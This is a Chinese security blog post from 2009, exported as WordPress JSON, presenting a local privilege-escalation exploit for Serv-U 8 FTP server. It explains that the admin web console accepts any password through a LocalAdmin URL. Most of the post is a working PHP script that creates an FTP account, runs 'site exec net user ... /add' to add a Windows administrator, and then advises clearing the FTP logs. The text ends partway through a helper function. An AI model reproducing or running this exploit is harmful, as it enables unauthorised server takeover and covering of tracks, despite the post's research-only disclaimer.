{"id":157,"date":"2009-08-05T14:03:54","date_gmt":"2009-08-05T14:03:54","guid":{"rendered":""},"modified":"2011-04-25T08:37:02","modified_gmt":"2011-04-25T08:37:02","slug":"serv-u8-%e6%9c%ac%e5%9c%b0%e6%8f%90%e6%9d%83","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/157.html","title":{"rendered":"serv-u8 \u672c\u5730\u63d0\u6743"},"content":{"rendered":"

\u53d1\u5e03\u65e5\u671f\uff1a<\/strong>2009-08-05
\n\u66f4\u65b0\u65e5\u671f\uff1a<\/strong>2009-08-05<\/p>\n

\u53d7\u5f71\u54cd\u7cfb\u7edf\uff1a<\/strong><\/p>\n

serv-u8<\/p><\/blockquote>\n

\u4e0d\u53d7\u5f71\u54cd\u7cfb\u7edf\uff1a<\/strong><\/p>\n

\u5176\u4ed6\u7248\u672c\u4e0d\u53d7\u5f71\u54cd<\/p><\/blockquote>\n

\u63cf\u8ff0\uff1a<\/strong><\/p>\n

\u770bcnbeta\u53d1\u73b0su\u51fa8\u8fd9\u4e2a\u7248\u672c\u4e86\u3002<\/p>\n

\u60f3\u60f3\u4ee5\u524d\u5199\u8fc7\u4e00\u4e2a7\u7684\u672c\u5730\u63d0\u6743\u3002<\/p>\n

\u4e0d\u77e5\u90538\u6709\u4ec0\u4e48\u5b89\u5168\u65b9\u9762\u7684\u66f4\u6539\u3002<\/p>\n

\u4e0b\u8f7d\u6765\u7814\u7a76\u4e0b\uff0c\u53d1\u73b0\u5c45\u7136\u8fd8\u662f\u53ef\u4ee5\u63d0\u6743\u7684\uff0c\u53ea\u662fsu7\u7684\u90a3\u4e2a\u4e0d\u80fd\u76f4\u63a5\u7528\uff0c\u7a0d\u5fae\u4fee\u6539\u4e86\u4e0b\u6267\u884c\u7684\u6d41\u7a0b\u3002<\/p>\n

 Su8\u7684\u7ba1\u7406\u5e73\u53f0\u662fhttp\u7684\uff0c\u7ee7\u627f\u4e86su7\u7684\u65b9\u5f0f\u3002
\n \u6293\u5305\uff0c\u5206\u6790\uff0c\u53d1\u73b0\u4e86\u4ee5\u4e0b\u8def\u7a0b\u662f\u53ef\u4ee5\u5229\u7528\u7684\u3002
\n 1\uff0c \u7ba1\u7406\u5458\u4ece\u7ba1\u7406\u63a7\u5236\u53f0\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u662f\u4e0d\u9700\u8981\u9a8c\u8bc1\u5bc6\u7801\u7684\u3002
\n 2\uff0c \u7ba1\u7406\u5458\u5982\u679c\u7528\u67d0URL\u6253\u5f00web\u9875\u9762\u65f6\uff0c\u867d\u7136\u9700\u8981\u8f93\u5165\u5bc6\u7801\uff0c\u4f46\u662f\u65e0\u8bba\u8f93\u5165\u4ec0\u4e48\uff0c\u90fd\u53ef\u4ee5\u8fdb\u5165\u3002“\/?Session=39893&Language=zh,CN&LocalAdmin=1”
\n 3\uff0c \u7ba1\u7406\u5458\u53ef\u4ee5\u6dfb\u52a0\u7528\u6237\u6709\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\u7528\u6237\uff0c\u4e00\u79cd\u662f\u67d0\u4e2a\u57df\u4e0b\u7684\u7528\u6237\u3002\u800c\u6743\u9650\u8bbe\u7f6e\u4e5f\u662f\u4e24\u79cd\uff0c\u4e00\u79cd\u662f\u5168\u5c40\uff0c\u4e00\u79cd\u662f\u9488\u5bf9\u7528\u6237\u3002
\n 4\uff0c \u7ba1\u7406\u5458\u6dfb\u52a0\u4e86\u7528\u6237\u7684\u8fd9\u4e2a\u5305\u548c\u8bbe\u7f6e\u6743\u9650\u8fd9\u4e2a\u5305\uff0c\u662f\u5206\u5f00\u7684\u3002
\n \u6240\u4ee5\uff0c\u6211\u53ef\u4ee5\u6293\u5305\u7136\u540e\u8f6c\u6362\u6210php\u7684socket\u8fde\u63a5post\u51fa\u53bb\u3002
\n \u6700\u540e\u5728\u7528\u7ecf\u5178\u7684ftp\u767b\u9646\uff0cexec\u547d\u4ee4\u3002\u8fbe\u5230\u63d0\u6743\u3002
\n 
\n \u524d\u9762su7\u5df2\u7ecf\u8bf4\u4e86\u5f88\u591a\uff0c\u8fd9\u91cc\u7b80\u5355\u7684\u8bf4\u4e0b\u597d\u4e86\u3002
\n …..\u767b\u9646\u4ec0\u4e48\u7684\u3002
\n 1\uff0c\u83b7\u53d6ID\u3002
\n 2\uff0c\u7ed9\u8fd9\u4e2aid\u6dfb\u52a0\u6743\u9650\u3002
\n 3\uff0c\u7ed9\u8fd9\u4e2aid\u8d4b\u4e88\u7528\u6237\u540d\uff0c\u5bc6\u7801\uff0c\u76ee\u5f55\uff0c\u6743\u9650\u3002
\n 4\uff0c\u767b\u9646\u540e\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/p>\n

\u8fd9\u6bb5\u4ee3\u7801\u662f\u4e0d\u80fd\u76f4\u63a5\u5f53\u5de5\u5177\u4f7f\u7528\u7684\u3002<\/p>\n

<*\u6765\u6e90\uff1akxlzx\uff08inbreak.net<\/a>\uff09
\n*><\/p>\n

\u6d4b\u8bd5\u65b9\u6cd5\uff1a<\/strong><\/p>\n

\u4ee5\u4e0b\u7a0b\u5e8f(\u65b9\u6cd5)\u53ef\u80fd\u5e26\u6709\u653b\u51fb\u6027\uff0c\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u6559\u5b66\u4e4b\u7528\u3002\u4f7f\u7528\u8005\u98ce\u9669\u81ea\u8d1f\uff01<\/strong><\/p>\n

\n
PHP\u4ee3\u7801<\/div>\n
    \n
  1. <?   <\/span><\/span><\/li>\n
  2. \/* <\/span> <\/li>\n
  3.     serv-u 8 local exp ver 1.0 <\/span> <\/span><\/li>\n
  4.     \u5982\u679c\u4f60\u5728\u81ea\u5df1\u7684\u670d\u52a1\u5668\u4e0a\u53d1\u73b0\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5384\u3002\u3002\u3002\u90a3\u592a\u9057\u61be\u4e86\uff0c\u522b\u6765\u627e\u6211\u3002 <\/span> <\/span><\/li>\n
  5.     \u8fd9\u4e2a\u6587\u4ef6\u5230\u5904\u90fd\u662f\uff0c\u4eba\u4eba\u90fd\u80fd\u62ff\u5230\u3002 <\/span> <\/span><\/li>\n
  6. *\/<\/span>  <\/span><\/span><\/li>\n
  7.   <\/span><\/li>\n
  8. ?>   <\/span><\/li>\n
  9. <html>   <\/span><\/li>\n
  10.     <title>Serv-u 8 local <\/span>exp<\/span> ver 1.0<\/title>   <\/span><\/li>\n
  11.     <body>   <\/span><\/li>\n
  12.     <script>   <\/span><\/li>\n
  13.     <\/span>function<\/span> fun_showDiv(show)   <\/span><\/li>\n
  14.     {   <\/span><\/li>\n
  15.         document.getElementById(show).style.display=<\/span>"block"<\/span>;   <\/span><\/li>\n
  16.     }   <\/span><\/li>\n
  17.     <\/script>   <\/span><\/li>\n
  18.     <b>Serv-u 8 local <\/span>exp<\/span> ver 1.0<\/b>   <\/span><\/li>\n
  19.         <form id=<\/span>"form1"<\/span> name=<\/span>"form1"<\/span> method=<\/span>"post"<\/span> action=<\/span>"?"<\/span>>   <\/span><\/li>\n
  20.                 <p><a href=<\/span>"#"<\/span> onclick=<\/span>"fun_showDiv(‘adminpassdiv’)"<\/span>>\u7ba1\u7406\u5458\u5bc6\u7801<\/a>   <\/span><\/li>\n
  21.                   <input type=<\/span>"text"<\/span> name=<\/span>"admin_pwd"<\/span> value=<\/span>""<\/span> \/>   <\/span><\/li>\n
  22.               <\/p>   <\/span><\/li>\n
  23.               <p>\u76f4\u63a5\u63d0\u6743\uff01   <\/span><\/li>\n
  24.                   <input type=<\/span>"submit"<\/span> name=<\/span>"cmd"<\/span> value=<\/span>"\u63d0\u6743"<\/span> \/>     <\/span><\/li>\n
  25.                 <a href=<\/span>"#"<\/span> onclick=<\/span>"fun_showDiv(‘QAdiv’)"<\/span>>QA<\/a>   <\/span><\/li>\n
  26.               <\/p>   <\/span><\/li>\n
  27.               <pre>   <\/span><\/li>\n
  28.   <\/span><\/li>\n
  29. <?   <\/span><\/li>\n
  30.   <\/span><\/li>\n
  31. \/\/Global var <\/span>  <\/span><\/li>\n
  32.     <\/span>$port<\/span>=43958;   <\/span><\/li>\n
  33.     <\/span>$host<\/span>=<\/span>"127.0.0.1"<\/span>;   <\/span><\/li>\n
  34.     <\/span>$sessionid<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  35.     <\/span>$getuserid<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  36.     <\/span>$ftpport<\/span>=21;   <\/span><\/li>\n
  37.     <\/span>$ftpuser<\/span>=<\/span>"lalala_hacked"<\/span>;   <\/span><\/li>\n
  38.     <\/span>$ftppwd<\/span>=<\/span>$_POST<\/span>[<\/span>‘admin_pwd’<\/span>];   <\/span><\/li>\n
  39.     <\/span>$exec_addUser<\/span>=<\/span>"site exec c:\/windows\/system32\/net.exe user "<\/span>.<\/span>$ftpuser<\/span>.<\/span>" "<\/span>.<\/span>$ftppwd<\/span>.<\/span>" \/add"<\/span>;   <\/span><\/li>\n
  40.     <\/span>$exec_addGroup<\/span>=<\/span>"site exec c:\/windows\/system32\/net.exe localgroup administrators "<\/span>.<\/span>$ftpuser<\/span>.<\/span>"  \/add"<\/span>;   <\/span><\/li>\n
  41.   <\/span><\/li>\n
  42. if<\/span>(<\/span>$_POST<\/span>[<\/span>‘cmd’<\/span>]) {   <\/span><\/li>\n
  43.   <\/span><\/li>\n
  44. \/\/login—————————————– <\/span>  <\/span><\/li>\n
  45.     <\/span>$sock_login<\/span> = <\/span>fsockopen<\/span>(<\/span>$host<\/span>, <\/span>$port<\/span>);   <\/span><\/li>\n
  46.     <\/span>$URL<\/span>=<\/span>‘\/Web%20Client\/Login.xml?Command=Login&Sync=1543543543543543’<\/span>;   <\/span><\/li>\n
  47.     <\/span>$post_data_login<\/span>[<\/span>‘user’<\/span>] = <\/span>""<\/span>;   <\/span><\/li>\n
  48.     <\/span>$post_data_login<\/span>[<\/span>‘pword’<\/span>] = <\/span>$ftppwd<\/span>;   <\/span><\/li>\n
  49.     <\/span>$post_data_login<\/span>[<\/span>‘language’<\/span>] = <\/span>"zh%2CCN&"<\/span>;   <\/span><\/li>\n
  50.     <\/span>$ref<\/span>=<\/span>"http:\/\/"<\/span>.<\/span>$host<\/span>.<\/span>":"<\/span>.<\/span>$port<\/span>.<\/span>"\/?Session=39893&Language=zh,CN&LocalAdmin=1"<\/span>;   <\/span><\/li>\n
  51.     <\/span>$postStr<\/span> = createRequest(<\/span>$port<\/span>,<\/span>$host<\/span>,<\/span>$URL<\/span>,<\/span>$post_data_login<\/span>,<\/span>$sessionid<\/span>,<\/span>$ref<\/span>);   <\/span><\/li>\n
  52.     <\/span>fputs<\/span>(<\/span>$sock_login<\/span>, <\/span>$postStr<\/span>);   <\/span><\/li>\n
  53.     <\/span>$result<\/span> = <\/span>fread<\/span>(<\/span>$sock_login<\/span>, 1280);    <\/span><\/li>\n
  54.     <\/span>$sessionid<\/span> = getmidstr(<\/span>"<sessionid>"<\/span>,<\/span>"<\/sessionid>"<\/span>,<\/span>$result<\/span>);   <\/span><\/li>\n
  55.     <\/span>if<\/span> (<\/span>$sessionid<\/span>!=<\/span>""<\/span>)   <\/span><\/li>\n
  56.         <\/span>echo<\/span> <\/span>"\u767b\u9646\u6210\u529f\uff01"<\/span>;   <\/span><\/li>\n
  57.     fclose(<\/span>$sock_login<\/span>);   <\/span><\/li>\n
  58. \/\/login—————————————– <\/span>  <\/span><\/li>\n
  59.   <\/span><\/li>\n
  60. \/\/getOrganizationId——————————- <\/span>  <\/span><\/li>\n
  61.     <\/span>$OrganizationId<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  62.     <\/span>$sock_OrganizationId<\/span> = <\/span>fsockopen<\/span>(<\/span>$host<\/span>, <\/span>$port<\/span>);   <\/span><\/li>\n
  63.     <\/span>$URL<\/span>=<\/span>‘\/Admin\/ServerUsers.htm?Page=1’<\/span>;   <\/span><\/li>\n
  64.     <\/span>$postStr<\/span> = createRequest(<\/span>$port<\/span>,<\/span>$host<\/span>,<\/span>$URL<\/span>,<\/span>""<\/span>,<\/span>$sessionid<\/span>,<\/span>""<\/span>);   <\/span><\/li>\n
  65.     <\/span>fputs<\/span>(<\/span>$sock_OrganizationId<\/span>, <\/span>$postStr<\/span>);   <\/span><\/li>\n
  66.     <\/span>$resultOrganizationId<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  67.     <\/span>while<\/span>(!<\/span>feof<\/span>(<\/span>$sock_OrganizationId<\/span>)) {   <\/span><\/li>\n
  68.         <\/span>$result<\/span> = <\/span>fread<\/span>(<\/span>$sock_OrganizationId<\/span>, 1024);       <\/span><\/li>\n
  69.         <\/span>$resultOrganizationId<\/span>=<\/span>$resultOrganizationId<\/span>.<\/span>$result<\/span>;   <\/span><\/li>\n
  70.     }   <\/span><\/li>\n
  71.     <\/span>$strTmp<\/span> = <\/span>"OrganizationUsers.xml&ID="<\/span>;   <\/span><\/li>\n
  72.     <\/span>$OrganizationId<\/span> = <\/span>substr<\/span>(<\/span>$resultOrganizationId<\/span>,<\/span>strpos<\/span>(<\/span>$resultOrganizationId<\/span>,<\/span>$strTmp<\/span>)+<\/span>strlen<\/span>(<\/span>$strTmp<\/span>),<\/span>strlen<\/span>(<\/span>$strTmp<\/span>)+15);   <\/span><\/li>\n
  73.     <\/span>$OrganizationId<\/span> = <\/span>substr<\/span>(<\/span>$OrganizationId<\/span>,0,<\/span>strpos<\/span>(<\/span>$OrganizationId<\/span>,<\/span>"\\""<\/span>));   <\/span><\/li>\n
  74.     fclose(<\/span>$sock_OrganizationId<\/span>);   <\/span><\/li>\n
  75.     <\/span>if<\/span> (<\/span>$OrganizationId<\/span>!=<\/span>""<\/span>)   <\/span><\/li>\n
  76.         <\/span>echo<\/span> <\/span>"\u83b7\u53d6OrganizationId"<\/span>.<\/span>$OrganizationId<\/span>.<\/span>"\u6210\u529f\uff01"<\/span>;   <\/span><\/li>\n
  77. \/\/getOrganizationId——————————- <\/span>  <\/span><\/li>\n
  78.   <\/span><\/li>\n
  79. \/\/getuserid————————————— <\/span>  <\/span><\/li>\n
  80.     <\/span>$getuserid<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  81.     <\/span>$sock_getuserid<\/span> = <\/span>fsockopen<\/span>(<\/span>$host<\/span>, <\/span>$port<\/span>);   <\/span><\/li>\n
  82.     <\/span>$URL<\/span>=<\/span>"\/Admin\/XML\/User.xml?Command=AddObject&Object=COrganization."<\/span>.<\/span>$OrganizationId<\/span>.<\/span>".User&Temp=1&Sync=546666666666666663"<\/span>;   <\/span><\/li>\n
  83.     <\/span>$ref<\/span>=<\/span>"http:\/\/"<\/span>.<\/span>$host<\/span>.<\/span>":"<\/span>.<\/span>$port<\/span>.<\/span>"\/Admin\/ServerUsers.htm?Page=1"<\/span>;   <\/span><\/li>\n
  84.     <\/span>$post_data_getuserid<\/span>=<\/span>""<\/span>;   <\/span><\/li>\n
  85.     <\/span>$postStr<\/span> = createRequest(<\/span>$port<\/span>,<\/span>$host<\/span>,<\/span>$URL<\/span>,<\/span>$post_data_getuserid<\/span>,<\/span>$sessionid<\/span>,<\/span>$ref<\/span>);   <\/span><\/li>\n
  86.     <\/span>fputs<\/span>(<\/span>$sock_getuserid<\/span>, <\/span>$postStr<\/span>);   <\/span><\/li>\n
  87.     <\/span>$result<\/span> = <\/span>fread<\/span>(<\/span>$sock_getuserid<\/span>, 1280);    <\/span><\/li>\n
  88.     <\/span>$result<\/span> = getmidstr(<\/span>"<var name=\\"ObjectID\\" val=\\""<\/span>,<\/span>"\\" \/>"<\/span>,<\/span>$result<\/span>);   <\/span><\/li>\n
  89.     fclose(<\/span>$sock_getuserid<\/span>);   <\/span><\/li>\n
  90.     <\/span>$getuserid<\/span> = <\/span>$result<\/span>;   <\/span><\/li>\n
  91.     <\/span>if<\/span> (<\/span>$getuserid<\/span>!=<\/span>""<\/span>)   <\/span><\/li>\n
  92.         <\/span>echo<\/span> <\/span>"\u83b7\u53d6\u7528\u6237ID"<\/span>.<\/span>$getuserid<\/span>.<\/span>"\u6210\u529f\uff01"<\/span>;   <\/span><\/li>\n
  93. \/\/getuserid————————————— <\/span>  <\/span><\/li>\n
  94.   <\/span><\/li>\n
  95. \/\/addpower—————————————– <\/span>  <\/span><\/li>\n
  96.     <\/span>$sock_addpower<\/span> = <\/span>fsockopen<\/span>(<\/span>$host<\/span>, <\/span>$port<\/span>);   <\/span><\/li>\n
  97.     <\/span>$URL<\/span>=<\/span>"\/Admin\/XML\/Result.xml?Command=AddObject&Object=CUser."<\/span>.<\/span>$getuserid<\/span>.<\/span>".DirAccess&Sync=1227081437828"<\/span>;   <\/span><\/li>\n
  98.     <\/span>$post_data_addpower<\/span>[<\/span>‘Access’<\/span>] = <\/span>"7999"<\/span>;   <\/span><\/li>\n
  99.     <\/span>$post_data_addpower<\/span>[<\/span>‘MaxSize’<\/span>] = <\/span>"0"<\/span>;   <\/span><\/li>\n
  100.     <\/span>$post_data_addpower<\/span>[<\/span>‘Dir’<\/span>] = <\/span>"c:\\\\"; <\/span> <\/li>\n
  101.     $post_data_addpower[‘undefined’] = "<\/span>undefined<\/span>"; <\/span> <\/span><\/li>\n
  102.     $postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"<\/span>http:<\/span>\/\/127.0.0.1".":".$port."\/Admin\/ServerUsers.htm?Page=1"); <\/span>  <\/span><\/span><\/li>\n
  103.     <\/span>fputs<\/span>(<\/span>$sock_addpower<\/span>, <\/span>$postStr<\/span>,<\/span>strlen<\/span>(<\/span>$postStr<\/span>));   <\/span><\/li>\n
  104.     <\/span>$result<\/span> = <\/span>fread<\/span>(<\/span>$sock_addpower<\/span>, 1280);     <\/span><\/li>\n
  105.     fclose(<\/span>$sock_addpower<\/span>);   <\/span><\/li>\n
  106.        <\/span><\/li>\n
  107.     <\/span>echo<\/span> "\u6dfb\u52a0\u6743\u9650\u6210\u529f\uff01<\/span>"; <\/span> <\/li>\n
  108.  <\/span><\/li>\n
  109. \/\/addpower—————————————– <\/span> <\/span><\/li>\n
  110.  <\/span><\/li>\n
  111. \/\/adduser—————————————– <\/span> <\/span><\/li>\n
  112.     $sock_adduser = fsockopen($host, $port); <\/span> <\/span><\/li>\n
  113.     $URL="<\/span>\/Admin\/XML\/Result.xml?Command=UpdateObject&Object=COrganization.<\/span>".$OrganizationId."<\/span>.User.<\/span>".$getuserid."<\/span>&Sync=1227071190250<\/span>"; <\/span> <\/span><\/li>\n
  114.     $post_data_adduser[‘LoginID’] = $ftpuser; <\/span> <\/span><\/li>\n
  115.     $post_data_adduser[‘FullName’] = "<\/span>"; <\/span> <\/span><\/li>\n
  116.     $post_data_adduser[‘Password’] = ‘hahaha’; <\/span> <\/span><\/li>\n
  117.     $post_data_adduser[‘ComboPasswordType’] = "<\/span>%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81<\/span>"; <\/span> <\/span><\/li>\n
  118.     $post_data_adduser[‘PasswordType’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  119.     $post_data_adduser[‘ComboAdminType’] = "<\/span>%E6%97%A0%E6%9D%83%E9%99%90<\/span>"; <\/span> <\/span><\/li>\n
  120.     $post_data_adduser[‘AdminType’] = "<\/span>"; <\/span> <\/span><\/li>\n
  121.     $post_data_adduser[‘ComboHomeDir’] = "<\/span>\/c:<\/span>"; <\/span> <\/span><\/li>\n
  122.     $post_data_adduser[‘HomeDir’] = "<\/span>\/c:<\/span>"; <\/span> <\/span><\/li>\n
  123.     $post_data_adduser[‘ComboType’] = "<\/span>%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7<\/span>"; <\/span> <\/span><\/li>\n
  124.     $post_data_adduser[‘Type’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  125.     $post_data_adduser[‘ExpiresOn’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  126.     $post_data_adduser[‘ComboWebClientStartupMode’] = "<\/span>%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF<\/span>"; <\/span> <\/span><\/li>\n
  127.     $post_data_adduser[‘WebClientStartupMode’] = "<\/span>"; <\/span> <\/span><\/li>\n
  128.     $post_data_adduser[‘LockInHomeDir’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  129.     $post_data_adduser[‘Enabled’] = "<\/span>1<\/span>"; <\/span> <\/span><\/li>\n
  130.     $post_data_adduser[‘AlwaysAllowLogin’] = "<\/span>1<\/span>"; <\/span> <\/span><\/li>\n
  131.     $post_data_adduser[‘Description’] = "<\/span>"; <\/span> <\/span><\/li>\n
  132.     $post_data_adduser[‘IncludeRespCodesInMsgFiles’] = "<\/span>"; <\/span> <\/span><\/li>\n
  133.     $post_data_adduser[‘ComboSignOnMessageFilePath’] = "<\/span>"; <\/span> <\/span><\/li>\n
  134.     $post_data_adduser[‘SignOnMessageFilePath’] = "<\/span>"; <\/span> <\/span><\/li>\n
  135.     $post_data_adduser[‘SignOnMessage’] = "<\/span>"; <\/span> <\/span><\/li>\n
  136.     $post_data_adduser[‘SignOnMessageText’] = "<\/span>"; <\/span> <\/span><\/li>\n
  137.     $post_data_adduser[‘ComboLimitType’] = "<\/span>%E8%BF%9E%E6%8E%A5<\/span>"; <\/span> <\/span><\/li>\n
  138.     $post_data_adduser[‘LimitType’] = "<\/span>Connection<\/span>"; <\/span> <\/span><\/li>\n
  139.     $post_data_adduser[‘QuotaBytes’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  140.     $post_data_adduser[‘Quota’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  141.     $post_data_adduser[‘Access’] = "<\/span>7999<\/span>"; <\/span> <\/span><\/li>\n
  142.     $post_data_adduser[‘MaxSize’] = "<\/span>0<\/span>"; <\/span> <\/span><\/li>\n
  143.     $post_data_adduser[‘Dir’] = "<\/span>%25HOME%25<\/span>"; <\/span> <\/span><\/li>\n
  144.     $postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"<\/span>http:<\/span>\/\/127.0.0.1".":".$port."\/Admin\/ServerUsers.htm?Page=1"); <\/span>  <\/span><\/span><\/li>\n
  145.     <\/span>fputs<\/span>(<\/span>$sock_adduser<\/span>, <\/span>$postStr<\/span>,<\/span>strlen<\/span>(<\/span>$postStr<\/span>));   <\/span><\/li>\n
  146.     <\/span>$result<\/span> = <\/span>fread<\/span>(<\/span>$sock_adduser<\/span>, 1280);      <\/span><\/li>\n
  147.     fclose(<\/span>$sock_adduser<\/span>);   <\/span><\/li>\n
  148.        <\/span><\/li>\n
  149.     <\/span>echo<\/span> "\u6dfb\u52a0\u7528\u6237\u6210\u529f\uff01<\/span>"; <\/span> <\/li>\n
  150. \/\/adduser—————————————– <\/span> <\/span><\/li>\n
  151.  <\/span><\/li>\n
  152.  <\/span><\/li>\n
  153.  <\/span><\/li>\n
  154. \/\/exec——————————- <\/span> <\/span><\/li>\n
  155.     $sock_exec = fsockopen("<\/span>127.0.0.1<\/span>", $ftpport, &$errno, &$errstr, 10); <\/span> <\/span><\/li>\n
  156.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  157.     $sendbuf = "<\/span>USER <\/span>".$ftpuser."<\/span>"; <\/span> <\/span><\/li>\n
  158.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  159.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  160.  <\/span><\/li>\n
  161.     $sendbuf = "<\/span>PASS hahaha<\/span>"; <\/span> <\/span><\/li>\n
  162.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  163.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  164.  <\/span><\/li>\n
  165.     $sendbuf = $exec_addUser."<\/span>"; <\/span> <\/span><\/li>\n
  166.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  167.     $recvbuf = fread($sock_exec, 1024); <\/span> <\/span><\/li>\n
  168.     echo "<\/span>\u6267\u884c<\/span>".$exec_addUser."<\/span>\u8fd4\u56de\u4e86<\/span>$recvbuf<\/span>"; <\/span> <\/span><\/li>\n
  169.     fclose($sock_exec); <\/span> <\/span><\/li>\n
  170.  <\/span><\/li>\n
  171.     $sock_exec = fsockopen("<\/span>127.0.0.1<\/span>", $ftpport, &$errno, &$errstr, 10); <\/span> <\/span><\/li>\n
  172.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  173.     $sendbuf = "<\/span>USER <\/span>".$ftpuser."<\/span>"; <\/span> <\/span><\/li>\n
  174.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  175.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  176.  <\/span><\/li>\n
  177.     $sendbuf = "<\/span>PASS hahaha<\/span>"; <\/span> <\/span><\/li>\n
  178.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  179.     $recvbuf = fgets($sock_exec, 1024); <\/span> <\/span><\/li>\n
  180.  <\/span><\/li>\n
  181.     $sendbuf = $exec_addGroup."<\/span>"; <\/span> <\/span><\/li>\n
  182.     fputs($sock_exec, $sendbuf, strlen($sendbuf)); <\/span> <\/span><\/li>\n
  183.     $recvbuf = fread($sock_exec, 1024); <\/span> <\/span><\/li>\n
  184.  <\/span><\/li>\n
  185.     echo "<\/span>\u6267\u884c<\/span>".$exec_addGroup."<\/span>\u8fd4\u56de\u4e86<\/span>$recvbuf<\/span>"; <\/span> <\/span><\/li>\n
  186.     fclose($sock_exec); <\/span> <\/span><\/li>\n
  187.     echo "<\/span>\u597d\u4e86\uff0c\u81ea\u5df13389\u4e0a\u53bb\u6e05\u7406ftp\u7528\u6237\u65e5\u5fd7\u5427\uff01<\/span>"; <\/span> <\/span><\/li>\n
  188. \/\/exec——————————- <\/span> <\/span><\/li>\n
  189.  <\/span><\/li>\n
  190. } <\/span> <\/span><\/li>\n
  191.  <\/span><\/li>\n
  192. \/** function createRequest <\/span> <\/span><\/li>\n
  193.     @port_post : administrator port $port=43958; <\/span> <\/span><\/li>\n
  194.     @host_post : host $host="<\/span>127.0.0.1<\/span>"; <\/span> <\/span><\/li>\n
  195.     @URL_post : target $URL=’\/Web%20Client\/Login.xml?Command=Login&Sync=1543543543543543′; <\/span> <\/span><\/li>\n
  196.     @post_data_post : arraylist $post_data[‘user’] = "<\/span>";… <\/span> <\/span><\/li>\n
  197.     @return httprequest string <\/span> <\/span><\/li>\n
  198. *\/ <\/span> <\/span><\/li>\n
  199. function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){ <\/span> <\/span><\/li>\n
  200.     $data_string="<\/span>"; <\/span> <\/span><\/li>\n
  201.     if ($post_data_post!="<\/span>") <\/span> <\/span><\/li>\n
  202.     { <\/span> <\/span><\/li>\n
  203.         foreach($post_data_post as $key=>$value) <\/span> <\/span><\/li>\n
  204.         { <\/span> <\/span><\/li>\n
  205.             $values[]="<\/span>$key<\/span>=<\/span>".urlencode($value); <\/span> <\/span><\/li>\n
  206.         } <\/span> <\/span><\/li>\n
  207.         $data_string=implode("<\/span>",$values); <\/span> <\/span><\/li>\n
  208.     } <\/span> <\/span><\/li>\n
  209.     $request.="<\/span>POST <\/span>".$URL_post."<\/span> HTTP\/1.1<\/span>"; <\/span> <\/span><\/li>\n
  210.     $request.="<\/span>Host: <\/span>".$host_post."<\/span>"; <\/span> <\/span><\/li>\n
  211.     $request.="<\/span>Referer: <\/span>".$referer."<\/span>"; <\/span> <\/span><\/li>\n
  212.     $request.="<\/span>Content-type: application\/x-www-form-urlencoded<\/span>"; <\/span> <\/span><\/li>\n
  213.     $request.="<\/span>Content-length: <\/span>".strlen($data_string)."<\/span>"; <\/span> <\/span><\/li>\n
  214.     $request.="<\/span>User-Agent: Serv-U<\/span>"; <\/span> <\/span><\/li>\n
  215.     $request.="<\/span>x-user-agent: Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)<\/span>"; <\/span> <\/span><\/li>\n
  216.     $request.="<\/span>Accept: *\/*<\/span>"; <\/span> <\/span><\/li>\n
  217.     $request.="<\/span>Cache-Contro: no-cache<\/span>"; <\/span> <\/span><\/li>\n
  218.     $request.="<\/span>UA-CPU: x86<\/span>"; <\/span> <\/span><\/li>\n
  219.      <\/span> <\/span><\/li>\n
  220.     if ($sessionid!="<\/span>") <\/span> <\/span><\/li>\n
  221.     { <\/span> <\/span><\/li>\n
  222.         $request.="<\/span>Cookie: Session=<\/span>".$sessionid."<\/span>"; <\/span> <\/span><\/li>\n
  223.     } <\/span> <\/span><\/li>\n
  224.     $request.="<\/span>"; <\/span> <\/span><\/li>\n
  225.     $request.=$data_string."<\/span>"; <\/span> <\/span><\/li>\n
  226.  <\/span><\/li>\n
  227.     return $request; <\/span> <\/span><\/li>\n
  228. } <\/span> <\/span><\/li>\n
  229.  <\/span><\/li>\n
  230. \/\/getMidfor2str copy from internet <\/span> <\/span><\/li>\n
  231. function getmidstr($L,$R,$str) <\/span> <\/span><\/li>\n
  232. {   <\/span> <\/span><\/li>\n
  233.     $int_l=strpos($str,$L); <\/span> <\/span><\/li>\n
  234.     $int_r=strpos($str,$R); <\/span> <\/span><\/li>\n
  235.     If ($int_l>-1&&$int_l>-1) <\/span> <\/span><\/li>\n
